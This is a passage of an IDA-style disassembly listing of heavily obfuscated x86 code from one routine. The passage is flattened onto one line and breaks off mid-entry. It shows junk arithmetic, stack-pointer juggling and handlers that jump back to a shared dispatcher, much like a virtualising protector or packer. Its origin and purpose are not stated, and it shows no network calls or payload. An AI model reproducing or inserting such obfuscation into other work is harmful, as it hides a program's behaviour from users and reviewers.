--------------------------------------------------------------------------- loc_58CAAC: ; CODE XREF: sub_580566+D91Ej jmp loc_584473 ; --------------------------------------------------------------------------- loc_58CAB1: ; CODE XREF: sub_580566+9B9Aj mov ah, 35h jmp loc_584935 ; --------------------------------------------------------------------------- loc_58CAB8: ; CODE XREF: sub_580566+B970j push esi jmp loc_590717 ; --------------------------------------------------------------------------- loc_58CABE: ; CODE XREF: sub_580566+A3C9j xor ecx, 2ABD8DEh mov ebp, ecx pop ecx jmp loc_58B83A ; --------------------------------------------------------------------------- loc_58CACC: ; CODE XREF: sub_580566+6432j sub [esp-28h+arg_20], 9A55536h pop ebx add ebx, 9A55536h mov ecx, [esp-2Ch+arg_24] add esp, 4 shr ebx, 7 push edi mov edi, 4C726C76h xor ebx, edi pop edi sub ebx, 188C7111h add ebx, 9D72952h xor eax, ebx pop ebx xor eax, 38E7C999h mov ebp, eax mov eax, [esp-34h+arg_2C] add esp, 4 jmp loc_58F2BF ; --------------------------------------------------------------------------- loc_58CB10: ; CODE XREF: sub_580566+830Dj mov [esp+4+var_4], edx push ecx push 52B067E2h pop ecx dec ecx dec ecx xor ecx, 78C4038Fh mov edx, ecx pop ecx and esi, edx pop edx push ebp mov ebp, 42EE55AFh jmp loc_58AECF ; --------------------------------------------------------------------------- loc_58CB33: ; CODE XREF: sub_580566+8F98j mov [esp+8+var_8], ebp mov ebp, 4 sub edx, 4A546E0Eh add edx, ebp jmp loc_58B80C ; --------------------------------------------------------------------------- loc_58CB48: ; CODE XREF: sub_580566+7F56j mov edx, 4 add ecx, edx pop edx jmp loc_587228 ; --------------------------------------------------------------------------- loc_58CB55: ; CODE XREF: sub_580566+101A2j mov esi, 4 add ebx, esi mov esi, [esp+0] add esp, 4 push edi push esi mov esi, 4 jmp loc_58EB1B ; --------------------------------------------------------------------------- loc_58CB6E: ; CODE XREF: sub_580566+A5C8j mov eax, 22887672h sub [esp+2Ch+var_28], eax pop eax jmp loc_58DF55 ; --------------------------------------------------------------------------- loc_58CB7D: ; CODE XREF: sub_580566+E484j push esi jmp loc_58D854 ; --------------------------------------------------------------------------- loc_58CB83: ; CODE XREF: sub_580566+D095j pop eax jmp loc_586ABE ; --------------------------------------------------------------------------- loc_58CB89: ; CODE XREF: sub_580566+1016Aj push ebx jmp loc_58FEF4 ; --------------------------------------------------------------------------- loc_58CB8F: ; CODE XREF: sub_580566+E29Ej pop ebp pop edi jmp loc_58EAC0 ; --------------------------------------------------------------------------- loc_58CB96: ; CODE XREF: sub_580566+F80Cj sub edx, 2 xchg edx, [esp+24h+var_24] mov esp, [esp+24h+var_24] mov word ptr [esp+24h+var_24], bx mov bx, 0F754h jmp loc_588246 ; --------------------------------------------------------------------------- loc_58CBAF: ; CODE XREF: sub_580566+A245j not edx push eax mov eax, 4B583B61h or eax, 274FE4h jmp loc_58C528 ; --------------------------------------------------------------------------- loc_58CBC1: ; CODE XREF: sub_580566+B778j sub ebx, 72A1657Fh sub esp, 4 mov [esp-1Eh+arg_16], ebx push edi push 7F891DA6h mov edi, [esp-16h+arg_E] add esp, 4 xor edi, 6AE00D94h jmp loc_589935 ; --------------------------------------------------------------------------- loc_58CBE7: ; CODE XREF: sub_580566+D007j pop ecx jmp loc_58DE3D ; --------------------------------------------------------------------------- mov ax, word ptr [esp-1Eh+arg_16] jmp loc_586179 ; --------------------------------------------------------------------------- loc_58CBF6: ; CODE XREF: sub_580566+9B81j mov ebp, [esp+12h+var_14+2] add esp, 4 add edx, esi add edx, 16C865AAh pop esi push ebp jmp loc_58BC7D ; --------------------------------------------------------------------------- loc_58CC0B: ; CODE XREF: sub_580566+5396j mov eax, esp add eax, 4 push 3EF1h mov [esp-28h+arg_20], ecx push ebx jmp loc_58E560 ; --------------------------------------------------------------------------- loc_58CC20: ; CODE XREF: sub_580566+625Bj mov [esp+0], ecx jmp loc_58E101 ; --------------------------------------------------------------------------- loc_58CC28: ; CODE XREF: sub_580566+EB37j xor [esp+0], ecx xor ecx, [esp+0] mov esp, [esp+0] mov eax, [esp+0] push ecx push esp pop ecx add ecx, 4 push edx mov edx, 7C90789Ch neg edx xor edx, 836F8760h push edx mov edx, 494959B7h jmp loc_58FDB5 ; --------------------------------------------------------------------------- loc_58CC56: ; CODE XREF: sub_580566+532Ej xor ah, 8Ah add cl, ah jmp loc_5874FC ; --------------------------------------------------------------------------- loc_58CC60: ; DATA XREF: sub_580566+3DAEo mov ax, word ptr [esp-30h+arg_28] jmp loc_58FF98 ; --------------------------------------------------------------------------- loc_58CC69: ; DATA XREF: sub_580566+3D1Ao lodsd xor eax, ebx push ebp push 7087h mov [esp-28h+arg_20], esp add [esp-28h+arg_20], 4 jmp loc_58EFE4 ; --------------------------------------------------------------------------- loc_58CC7E: ; DATA XREF: sub_580566+3D06o pop dword ptr [edi+40h] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58CC86: ; CODE XREF: sub_580566+4393j push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp-8+arg_4] jmp loc_585E52 ; --------------------------------------------------------------------------- loc_58CC96: ; CODE XREF: sub_580566+C8A5j mov esi, 4000h jmp loc_58F97E ; --------------------------------------------------------------------------- loc_58CCA0: ; DATA XREF: sub_580566+3E16o mov ax, word ptr [esp-30h+arg_28] push ebp mov ebp, esp push 717Eh mov [esp-28h+arg_20], edi mov edi, 26182108h push ecx jmp loc_5878FF ; --------------------------------------------------------------------------- loc_58CCBA: ; CODE XREF: sub_580566+5A2Aj xor ecx, [esp+4+var_4] mov esp, [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], esi jmp loc_58B1A5 ; --------------------------------------------------------------------------- loc_58CCCB: ; CODE XREF: sub_580566+844Bj push 2ACC6344h pop edi shl edi, 1 jmp loc_58AE99 ; --------------------------------------------------------------------------- loc_58CCD8: ; CODE XREF: sub_580566+EAD2j add ebx, 4 xchg ebx, [esp-18h+arg_E+2] pop esp push ebx push esp jmp loc_58BEA3 ; --------------------------------------------------------------------------- loc_58CCE6: ; CODE XREF: sub_580566+EC37j neg edx xor edx, 7751165Dh xor edx, 6B1A68E5h xor edx, 17216C2Bh jmp loc_5876A2 ; --------------------------------------------------------------------------- loc_58CCFF: ; CODE XREF: sub_580566+E1D4j sub eax, 4 jmp loc_58ED55 ; --------------------------------------------------------------------------- loc_58CD09: ; CODE XREF: sub_580566+9017j mov [esp+4+var_4], edi jmp loc_58AD34 ; --------------------------------------------------------------------------- loc_58CD11: ; CODE XREF: sub_580566+A5A6j push ecx not [esp+30h+var_30] pop ecx xor ecx, 9C4F16BDh mov edx, ecx pop ecx jmp loc_58AF91 ; --------------------------------------------------------------------------- loc_58CD24: ; CODE XREF: sub_580566+8D73j xor ebx, 0AC594Bh push ebx jmp loc_58E07F ; --------------------------------------------------------------------------- loc_58CD30: ; CODE XREF: sub_580566+5406j xor edx, [esp-8+arg_4] mov esp, [esp-8+arg_4] add esp, 4 sub esp, 4 mov [esp-8+arg_4], ebp sub esp, 4 mov [esp+0], eax jmp loc_588BF5 ; --------------------------------------------------------------------------- loc_58CD50: ; CODE XREF: sub_580566+512Aj pop ecx pop dword ptr [esp+0] pop esp mov [esp-18h+arg_E+2], ebp mov ebp, 6B3906C3h shl ebp, 5 jmp loc_58A6DA ; --------------------------------------------------------------------------- loc_58CD65: ; CODE XREF: sub_580566+CB0Aj pop ebp push ecx push 1D2F1B8Ah pop ecx jmp loc_586892 ; --------------------------------------------------------------------------- loc_58CD72: ; CODE XREF: sub_580566+F990j mov cl, bl mov ebx, [esp-18h+arg_E+2] add esp, 4 mov eax, [esp-1Ch+arg_12+2] add esp, 4 jmp loc_58FEE2 ; --------------------------------------------------------------------------- loc_58CD8B: ; CODE XREF: sub_580566+C8F5j pop ebx xchg edi, [esp-24h+arg_1A+2] pop esp push 1759h mov [esp-24h+arg_1A+2], esi push 556h mov [esp-20h+arg_16+2], edi mov edi, 4 mov esi, edi mov edi, [esp-20h+arg_16+2] add esp, 4 and ecx, esi push [esp-24h+arg_1A+2] mov esi, [esp-20h+arg_16+2] add esp, 4 push ecx push esp pop ecx push edx mov edx, 4 jmp loc_58DA57 ; --------------------------------------------------------------------------- loc_58CDCC: ; CODE XREF: sub_580566+79A8j mov esi, eax pop eax add edi, esi pop esi push edi jmp loc_58EE45 ; --------------------------------------------------------------------------- loc_58CDD8: ; CODE XREF: sub_580566+7F48j push ebp mov ebp, 26825931h sub ebp, 41116C3Eh inc ebp jmp loc_5875FE ; --------------------------------------------------------------------------- loc_58CDEA: ; CODE XREF: sub_580566+5DF2j pop [esp-30h+arg_28] pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp-34h+arg_2C] xor [esp-34h+arg_2C], ebp xor ebp, [esp-34h+arg_2C] pop esp mov [esp-38h+arg_30], edi push esi jmp loc_58CC96 ; --------------------------------------------------------------------------- loc_58CE10: ; CODE XREF: sub_580566+DCAFj and word ptr [esp-34h+arg_2C], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58CE1A: ; CODE XREF: sub_580566+56BFj mov eax, 6B2F6622h sub eax, 0FFFFFFFFh jmp loc_587632 ; --------------------------------------------------------------------------- loc_58CE29: ; CODE XREF: sub_580566+7ADFj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] pop esp jmp loc_58A06C ; --------------------------------------------------------------------------- loc_58CE41: ; CODE XREF: sub_580566+430Aj pop esi pop [esp-2Ah+arg_20+2] mov esp, [esp-2Eh+arg_24+2] btr word ptr [esp-2Eh+arg_24+2], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58CE53: ; CODE XREF: sub_580566+5636j add edi, ebx sub edi, 2C7A1BBAh jmp loc_58CD8B ; --------------------------------------------------------------------------- loc_58CE60: ; CODE XREF: sub_580566+B68Ej push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+10h+var_10] mov esp, [esp+10h+var_10] sub edi, 226D46D3h sub edi, 0B66290Bh add edi, ecx add edi, 0B66290Bh push eax push 6E58h mov [esp+18h+var_18], ecx mov ecx, 1E452EDCh neg ecx push eax mov eax, 0 sub eax, ecx xchg eax, ecx pop eax push edi push esi mov esi, 24E57748h jmp loc_58ABA1 ; --------------------------------------------------------------------------- loc_58CEAF: ; CODE XREF: sub_580566+95EDj xor ebp, 49916FB1h sub ebp, 4D906FA6h sub edx, ebp pop ebp dec edx sub edx, 3431268h mov edi, edx mov edx, [esp+24h+var_24] add esp, 4 jmp loc_588C55 ; --------------------------------------------------------------------------- loc_58CED2: ; CODE XREF: sub_580566+F77Cj push 7B4Ah push esp pop [esp+28h+var_28] add [esp+24h+var_24], 4 pop ebx push edx jmp loc_58D2C6 ; --------------------------------------------------------------------------- loc_58CEE9: ; CODE XREF: sub_580566+D32Cj pop eax add esp, 4 mov ecx, [esp+1Ch+var_1C] jmp loc_5872A4 ; --------------------------------------------------------------------------- loc_58CEF5: ; CODE XREF: sub_580566+8EF9j mov ah, bl pop ebx jmp loc_58B2CD ; --------------------------------------------------------------------------- loc_58CEFD: ; CODE XREF: sub_580566+B32Fj mov [esp-0Ah+arg_4+2], edi push esp pop edi jmp loc_5861E1 ; --------------------------------------------------------------------------- loc_58CF07: ; CODE XREF: sub_580566+478Dj mov [esp-1Ch+arg_12+2], ecx push ebx push 187046F7h pop ebx shr ebx, 6 sub ebx, 61B91Bh jmp loc_5887A3 ; --------------------------------------------------------------------------- loc_58CF1F: ; CODE XREF: sub_580566+5695j pop ebx sub ebp, 2 xchg ebp, [esp+0] pop esp jmp loc_58D27E ; --------------------------------------------------------------------------- loc_58CF2F: ; DATA XREF: sub_580566+3D5Eo lodsb sub esp, 4 jmp loc_58BC39 ; --------------------------------------------------------------------------- loc_58CF38: ; CODE XREF: sub_580566+8F81j push ecx push esi mov esi, esp jmp loc_58788C ; --------------------------------------------------------------------------- loc_58CF41: ; CODE XREF: sub_580566+BB9Fj mov ebx, 8CAA2111h add ebp, ebx jmp loc_588D6A ; --------------------------------------------------------------------------- loc_58CF4D: ; CODE XREF: sub_580566+E871j xor ecx, ebp pop ebp jmp loc_58F383 ; --------------------------------------------------------------------------- loc_58CF55: ; CODE XREF: sub_580566+97CCj add edx, 4 jmp loc_58E95C ; --------------------------------------------------------------------------- loc_58CF60: ; CODE XREF: sub_580566+CF2Ej push 69D8h mov [esp-32h+arg_28+2], ebx mov ebx, 508EF1F8h xor esi, ebx pop ebx xor eax, esi jmp loc_58E125 ; --------------------------------------------------------------------------- loc_58CF77: ; CODE XREF: sub_580566+D960j add esp, 4 push 55A5h mov [esp-36h+arg_2C+2], ebx jmp loc_585444 ; --------------------------------------------------------------------------- loc_58CF8A: ; CODE XREF: sub_580566+D652j shr edx, 2 sub edx, 0E8A813D3h not edx jmp loc_587B4B ; --------------------------------------------------------------------------- loc_58CF9A: ; CODE XREF: sub_580566+CF8Cj pop edi add ebx, 0D101A7h sub ebx, ebp sub ebx, 0D101A7h pop ebp xor ebx, [esp-3Eh+arg_34+2] jmp loc_5877CE ; --------------------------------------------------------------------------- loc_58CFB2: ; CODE XREF: sub_580566+E7A0j xchg ebx, [esp-3Eh+arg_34+2] pop esp jmp loc_58D61F ; --------------------------------------------------------------------------- loc_58CFBB: ; CODE XREF: sub_580566+E797j pop esp shl eax, 1 jmp loc_58B019 ; --------------------------------------------------------------------------- loc_58CFC3: ; CODE XREF: sub_580566+6A24j xor esi, [esp-14h+arg_A+2] xor [esp-14h+arg_A+2], esi xor esi, [esp-14h+arg_A+2] pop esp mov fs:[edx], ax jmp loc_584473 ; --------------------------------------------------------------------------- loc_58CFD6: ; CODE XREF: sub_580566+8920j add esi, 22DC627Eh pop ecx xor esi, [esp-38h+arg_30] xor [esp-38h+arg_30], esi xor esi, [esp-38h+arg_30] jmp loc_58B6E9 ; --------------------------------------------------------------------------- loc_58CFEB: ; DATA XREF: sub_580566+3E26o mov cx, word ptr [esp-30h+arg_28] push 4EF3h mov [esp-2Ch+arg_24], esi push esp pop esi push 41BCh jmp loc_58902E ; --------------------------------------------------------------------------- loc_58D003: ; CODE XREF: sub_580566+B501j add esp, 4 push ebx mov bl, dl push edx mov dh, bl push eax jmp loc_587134 ; --------------------------------------------------------------------------- loc_58D015: ; CODE XREF: sub_580566+8651j mov eax, 2E12092Ah push ecx mov ecx, 2B953D12h dec ecx add ecx, 3DFD1CB8h dec ecx jmp loc_58EB49 ; --------------------------------------------------------------------------- loc_58D02D: ; CODE XREF: sub_580566+6BF6j add edx, eax sub edx, 6BB50099h push ebp mov ebp, 3036730Fh shr ebp, 8 not ebp or ebp, 3B7040EDh jmp loc_584AD6 ; --------------------------------------------------------------------------- loc_58D04B: ; CODE XREF: sub_580566+9FB6j add ebx, 4 sub esp, 4 mov [esp-20h+arg_16+2], esi mov esi, 7DE53707h shl esi, 5 push ebp mov ebp, 100E2FC3h inc ebp shr ebp, 1 sub ebp, 0E1DD144Ah add esi, ebp jmp loc_58CD65 ; --------------------------------------------------------------------------- loc_58D075: ; CODE XREF: sub_580566+AEC5j mov edx, 0A2BCA9CFh sub edx, esi pop esi jmp loc_5845A1 ; --------------------------------------------------------------------------- loc_58D082: ; CODE XREF: sub_580566+E35Dj add esp, 4 shr ecx, 0Ah jmp loc_5895C8 ; --------------------------------------------------------------------------- loc_58D08D: ; CODE XREF: sub_580566+92EEj add ebp, 0E7A7A010h mov ecx, ebp mov ebp, [esp-28h+arg_20] jmp loc_58E98B ; --------------------------------------------------------------------------- loc_58D09D: ; CODE XREF: sub_580566+B80Ej add edi, 60622831h shl edi, 7 not edi inc edi add edi, 0BF841884h add edx, edi jmp loc_58AE60 ; --------------------------------------------------------------------------- loc_58D0B6: ; DATA XREF: sub_580566+3D16o push dword ptr [edi+1Ch] popf pop ax adc word ptr [esp-32h+arg_28+2], ax pushf jmp loc_589D3D ; --------------------------------------------------------------------------- loc_58D0C6: ; DATA XREF: sub_580566+3E02o push dword ptr [edi+1Ch] popf pop eax adc [esp-34h+arg_2C], eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D0D4: ; CODE XREF: sub_580566+EE18j add esp, 4 push edi mov edi, 0AC00C23h push edi jmp loc_5879FB ; --------------------------------------------------------------------------- loc_58D0E3: ; CODE XREF: sub_580566+B736j push edi mov edi, 6D5A4411h mov ebx, edi pop edi shr ebx, 7 dec ebx push ebp mov ebp, 0DAB483h jmp loc_588092 ; --------------------------------------------------------------------------- loc_58D0FB: ; CODE XREF: sub_580566+A251j mov eax, 4 add edi, eax pop eax add edi, 2 push edi push [esp-28h+arg_24] push [esp-24h+arg_1A+2] pop edi jmp loc_584C1C ; --------------------------------------------------------------------------- loc_58D114: ; CODE XREF: sub_580566+74ECj push [esp-0Eh+arg_8+2] pop edx push edx jmp loc_58A120 ; --------------------------------------------------------------------------- loc_58D11E: ; CODE XREF: sub_580566+78DDj add ebp, 4 push ebp jmp loc_587EB7 ; --------------------------------------------------------------------------- loc_58D127: ; CODE XREF: sub_580566+A636j pop edx mov esi, [esp-18h+arg_E+2] add esp, 4 add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp-1Ch+arg_12+2] jmp loc_58D869 ; --------------------------------------------------------------------------- loc_58D145: ; CODE XREF: sub_580566+75A4j not eax add eax, 0CABDF7E0h sub esi, eax mov eax, [esp+0] push edx push esp pop edx jmp loc_58A3ED ; --------------------------------------------------------------------------- loc_58D159: ; CODE XREF: sub_580566+BD00j xchg ebp, edx sub edx, 6125187Ch xor eax, edx mov edx, [esp+0] add esp, 4 push 238Eh mov [esp+0], ebx push 3546DC07h push [esp-0Ch+arg_8] pop ebx add esp, 4 xor eax, ebx push dword ptr [esp+0] mov ebx, [esp-0Ch+arg_8] jmp loc_58EBED ; --------------------------------------------------------------------------- loc_58D18A: ; CODE XREF: sub_580566+9531j mov esp, [esp+0Ch+var_C] imul cx, ax push cx pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D199: ; CODE XREF: sub_580566+6509j mov ebp, 7CCD7784h xor [esp-28h+arg_24], ebp jmp loc_590016 ; --------------------------------------------------------------------------- loc_58D1A7: ; CODE XREF: sub_580566+D435j sub edx, 59370666h inc edx sub edx, 58ADB665h mov ecx, edx pop edx shr ecx, 8 jmp loc_58F4F5 ; --------------------------------------------------------------------------- loc_58D1BF: ; CODE XREF: sub_580566+6E94j add edx, 4 xchg edx, [esp-1Ch+arg_12+2] pop esp mul ecx push 27BEh mov [esp-1Ch+arg_12+2], edx jmp loc_586566 ; --------------------------------------------------------------------------- loc_58D1D5: ; CODE XREF: sub_580566+69D4j mov al, bl pop ebx dec al xor al, 74h jmp loc_58DC4C ; --------------------------------------------------------------------------- loc_58D1E1: ; CODE XREF: sub_580566+F8B9j xchg ebx, [esp+14h+var_14] jmp loc_589ACC ; --------------------------------------------------------------------------- loc_58D1E9: ; CODE XREF: sub_580566+5C14j mov ecx, esp add ecx, 4 jmp loc_58AAC2 ; --------------------------------------------------------------------------- loc_58D1F6: ; CODE XREF: sub_580566+B71Cj inc ebp dec ebp xor ebp, 67C654E4h push ebx mov ebx, 41B15423h jmp loc_58BDB0 ; --------------------------------------------------------------------------- loc_58D209: ; CODE XREF: sub_580566+C11Ej add ebx, 4 xchg ebx, [esp-24h+arg_1A+2] pop esp sub esp, 4 mov [esp-24h+arg_1A+2], ebx mov ebx, 2 jmp loc_587CD6 ; --------------------------------------------------------------------------- loc_58D223: ; DATA XREF: sub_580566+3E56o push 2D74h mov [esp-2Ch+arg_24], ebp push 4C9h mov [esp-28h+arg_20], eax mov ebp, [esp-28h+arg_20] jmp loc_58BE66 ; --------------------------------------------------------------------------- loc_58D23B: ; CODE XREF: sub_580566+F1C2j add edx, 7AD9449Bh add edx, edi jmp loc_58A9DB ; --------------------------------------------------------------------------- loc_58D248: ; CODE XREF: sub_580566+E473j mov ebx, [esp-28h+arg_20] add esp, 4 jmp loc_58FF01 ; --------------------------------------------------------------------------- loc_58D256: ; CODE XREF: sub_580566+FBC0j pop ebx add ebx, 4 sub esp, 4 mov [esp-2Ch+arg_24], ecx mov ecx, 4 sub ebx, ecx jmp loc_586C69 ; --------------------------------------------------------------------------- loc_58D272: ; CODE XREF: sub_580566+ED06j add esi, 394C1B27h push ebx jmp loc_58E68B ; --------------------------------------------------------------------------- loc_58D27E: ; CODE XREF: sub_580566+C9C4j mov [esp+0], si push 60EDh mov [esp+0], eax mov ax, 5538h shr ax, 6 add ax, 0FFFFh sub ax, 8A13h mov si, ax pop eax sub ax, si pop si jmp loc_58FD45 ; --------------------------------------------------------------------------- loc_58D2A8: ; CODE XREF: sub_580566+7772j pop ebx xor ebp, [esp-0Ah+arg_4+2] xor [esp-0Ah+arg_4+2], ebp xor ebp, [esp-0Ah+arg_4+2] pop esp imul cx push small 539Fh mov word ptr [esp-0Ch+arg_8], dx push ax pushf jmp loc_58F1BB ; --------------------------------------------------------------------------- loc_58D2C6: ; CODE XREF: sub_580566+C97Ej mov edx, 7A7C14B4h sub esp, 4 mov [esp+28h+var_28], ebx mov ebx, 2CA106F3h xor edx, ebx pop ebx xor edx, 56DD1243h add ebx, edx pop edx push 7780h mov [esp+24h+var_24], ecx mov ecx, 2 sub ebx, ecx pop ecx jmp loc_58C93B ; --------------------------------------------------------------------------- loc_58D2F7: ; CODE XREF: sub_580566+E9C7j push esi mov esi, 2 jmp loc_588681 ; --------------------------------------------------------------------------- loc_58D302: ; CODE XREF: sub_580566+8F66j dec ecx jmp loc_586287 ; --------------------------------------------------------------------------- loc_58D308: ; CODE XREF: sub_580566+C4DDj pop ecx xor ebx, 400558D6h push ecx mov ecx, 0FAE1428h jmp loc_58C35A ; --------------------------------------------------------------------------- loc_58D31A: ; CODE XREF: sub_580566+4FDAj add esp, 4 push 492h mov [esp-1Eh+arg_16], edx mov edx, ebp mov ebx, edx mov edx, [esp-1Eh+arg_16] add esp, 4 mov ebp, [esp-22h+arg_1A] add esp, 4 push 7E0Ch jmp loc_58FBDC ; --------------------------------------------------------------------------- loc_58D345: ; CODE XREF: sub_580566+84A0j mov dl, 23h add al, dl jmp loc_587D53 ; --------------------------------------------------------------------------- loc_58D34E: ; DATA XREF: sub_580566+3E9Eo push dword ptr [edi+1Ch] popf pop ax sbb word ptr [esp-32h+arg_28+2], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D35E: ; CODE XREF: sub_580566+F989j mov word ptr [esp-2Eh+arg_24+2], dx push ebx mov bh, 5 jmp loc_58DFB9 ; --------------------------------------------------------------------------- loc_58D36A: ; CODE XREF: sub_580566+7C50j pop esp mov [esp-28h+arg_20], esp jmp loc_58D422 ; --------------------------------------------------------------------------- loc_58D373: ; CODE XREF: sub_580566+41D7j add edx, ebx pop ebx push ebp mov ebp, 25E2684Eh and edx, ebp pop ebp and edx, 43935AD6h not edx jmp loc_584925 ; --------------------------------------------------------------------------- loc_58D38C: ; CODE XREF: sub_580566+E9E9j mov edi, 227E1C34h inc edi sub edi, 0DF78173Eh sub edx, edi pop edi push [esp+10h+var_10] pop ebp push ecx jmp loc_5863AC ; --------------------------------------------------------------------------- loc_58D3A5: ; CODE XREF: sub_580566+81DFj mov [esp-14h+arg_A+2], esi mov esi, 2 add ebp, esi mov esi, [esp-14h+arg_A+2] jmp loc_58C014 ; --------------------------------------------------------------------------- loc_58D3B7: ; CODE XREF: sub_580566+9AA1j push 664h mov [esp-28h+arg_20], ebp mov ebp, esp add ebp, 4 jmp loc_590600 ; --------------------------------------------------------------------------- loc_58D3CC: ; CODE XREF: sub_580566+DB96j xor edi, 0F7FEF570h sub eax, 47946437h add eax, edi jmp loc_58BD8F ; --------------------------------------------------------------------------- loc_58D3DE: ; CODE XREF: sub_580566+8C6Aj mov [esp-24h+arg_1A+2], esp add [esp-24h+arg_1A+2], 4 jmp loc_584FF0 ; --------------------------------------------------------------------------- loc_58D3ED: ; CODE XREF: sub_580566+8949j xor [esp-2Ah+arg_24+2], edx pop edx mov ecx, [esp-2Eh+arg_24+2] jmp loc_586CFF ; --------------------------------------------------------------------------- loc_58D3FA: ; CODE XREF: sub_580566+967Cj pop esp and eax, edx jmp loc_58E73F ; --------------------------------------------------------------------------- loc_58D402: ; CODE XREF: sub_580566+7683j sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 pop esi jmp loc_589606 ; --------------------------------------------------------------------------- loc_58D418: ; CODE XREF: sub_580566+F519j mov edi, 227B3355h jmp loc_585D8C ; --------------------------------------------------------------------------- loc_58D422: ; CODE XREF: sub_580566+CE08j add [esp-28h+arg_20], 4 mov edx, [esp-28h+arg_20] add esp, 4 add edx, 4 add edx, 2 jmp loc_58C899 ; --------------------------------------------------------------------------- loc_58D43D: ; CODE XREF: sub_580566+4283j jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D442: ; CODE XREF: sub_580566+B16Ej push ebp jmp loc_589D37 ; --------------------------------------------------------------------------- loc_58D448: ; CODE XREF: sub_580566+5E8Aj sub ebx, eax pop eax add ebx, 38E72A1Eh sub ebx, eax sub ebx, 38E72A1Eh push eax push esi mov esi, 1933BB6h xchg ebp, esi not ebp push esi jmp loc_5890D4 ; --------------------------------------------------------------------------- loc_58D46A: ; CODE XREF: sub_580566+4660j and [esp-36h+arg_2C+2], eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D473: ; CODE XREF: sub_580566+811Cj mov ecx, 0F0E0A7Ah add ebp, ecx pop ecx sub ebp, 2604292Ch add ebp, esi add ebp, 2604292Ch jmp loc_58C140 ; --------------------------------------------------------------------------- loc_58D48E: ; CODE XREF: sub_580566+AC34j xchg ecx, esi neg ecx xchg ecx, esi jmp loc_58CF60 ; --------------------------------------------------------------------------- loc_58D499: ; CODE XREF: sub_580566+9A07j mov esp, [esp-16h+arg_E] push 0D28h mov [esp-12h+arg_A], ebx push 51D1h mov [esp-0Eh+arg_8+2], ecx mov ecx, 2E7E03A5h jmp loc_58D720 ; --------------------------------------------------------------------------- loc_58D4B6: ; CODE XREF: sub_580566+5037j add edi, eax pop eax push ecx mov ecx, 4 add edi, ecx pop ecx xchg edi, [esp-20h+arg_16+2] jmp loc_58B61B ; --------------------------------------------------------------------------- loc_58D4CA: ; CODE XREF: sub_580566+4347j sub dword ptr [edi+20h], 507021FFh jmp loc_58C803 ; --------------------------------------------------------------------------- loc_58D4D6: ; CODE XREF: sub_580566+B267j push 7D670042h pop edi add edi, 10BE4A42h and edi, 9E82E07h not edi add edi, 8200A09h mov ebp, edi jmp loc_58CF9A ; --------------------------------------------------------------------------- loc_58D4F7: ; CODE XREF: sub_580566+C48Fj push ebx mov ebx, 115344FDh push ebp mov ebp, 3B152A52h or ebp, 2DA1008Fh shl ebp, 8 inc ebp sub ebp, 480067B7h jmp loc_5901B3 ; --------------------------------------------------------------------------- loc_58D518: ; CODE XREF: sub_580566+B3C3j pop eax add ebp, 4 jmp loc_58C4C5 ; --------------------------------------------------------------------------- loc_58D524: ; CODE XREF: sub_580566+B75Fj mov ch, 83h or ch, 97h sub ch, 9 add ch, 0CEh add al, ch pop ecx sub al, cl sub al, 5Ch pop cx sub al, 0F1h jmp loc_58E8FA ; --------------------------------------------------------------------------- loc_58D53F: ; CODE XREF: sub_580566+8CBDj add ebx, ecx add ebx, 5743A7Bh pop ecx jmp loc_58BEB9 ; --------------------------------------------------------------------------- loc_58D54D: ; CODE XREF: sub_580566+B94Ej add eax, 74331ECFh push dword ptr [edi+eax*4] mov eax, [esp-20h+arg_16+2] sub esp, 4 mov [esp-1Ch+arg_12+2], eax push esp push [esp-18h+arg_E+2] pop eax jmp loc_58B4E1 ; --------------------------------------------------------------------------- loc_58D568: ; DATA XREF: sub_580566+3D76o mov ecx, [esp-30h+arg_28] push ecx push esp jmp loc_58CBE7 ; --------------------------------------------------------------------------- loc_58D572: ; CODE XREF: sub_580566+58FEj mov ebx, 723F656Dh neg ebx xor ebx, 8DC09A92h mov edi, ebx pop ebx add edx, 461F3CBCh jmp loc_58A032 ; --------------------------------------------------------------------------- loc_58D58D: ; CODE XREF: sub_580566+79EDj xor esi, [esp+0Ch+var_C] xor [esp+0Ch+var_C], esi xor esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mov word ptr [esp+0Ch+var_C], ax jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D5A2: ; CODE XREF: sub_580566+10081j sub bl, 0CEh sub bl, 68h xor dl, bl jmp loc_587734 ; --------------------------------------------------------------------------- loc_58D5AF: ; CODE XREF: sub_580566+4565j neg ebp add ebp, 97FA4DEEh sub eax, ebp pop ebp sub eax, ebp add eax, 409C0969h pop ebp xchg eax, [esp-28h+arg_20] jmp loc_586D0D ; --------------------------------------------------------------------------- loc_58D5CA: ; CODE XREF: sub_580566+DFB4j add ebp, 4 add ebp, 4 push 4AC9h mov [esp-24h+arg_1A+2], ebp push [esp-24h+arg_20] pop ebp pop [esp-24h+arg_1A+2] pop esp jmp loc_5872F8 ; --------------------------------------------------------------------------- loc_58D5EC: ; CODE XREF: sub_580566+D451j shr eax, 4 or eax, 15DC547Ch add eax, 0E3AB4209h add ecx, eax jmp loc_58CB83 ; --------------------------------------------------------------------------- locret_58D600: ; CODE XREF: sub_580566+6B0Aj retn ; --------------------------------------------------------------------------- jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D606: ; CODE XREF: sub_580566+9F98j add ebp, 4 add ebp, 4 xchg ebp, [esp-22h+arg_1A] jmp loc_58C114 ; --------------------------------------------------------------------------- loc_58D617: ; CODE XREF: sub_580566+4CC4j xor [esp+6+var_8+2], ebx jmp loc_58927F ; --------------------------------------------------------------------------- loc_58D61F: ; CODE XREF: sub_580566+CA50j push dword ptr [eax] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D626: ; CODE XREF: 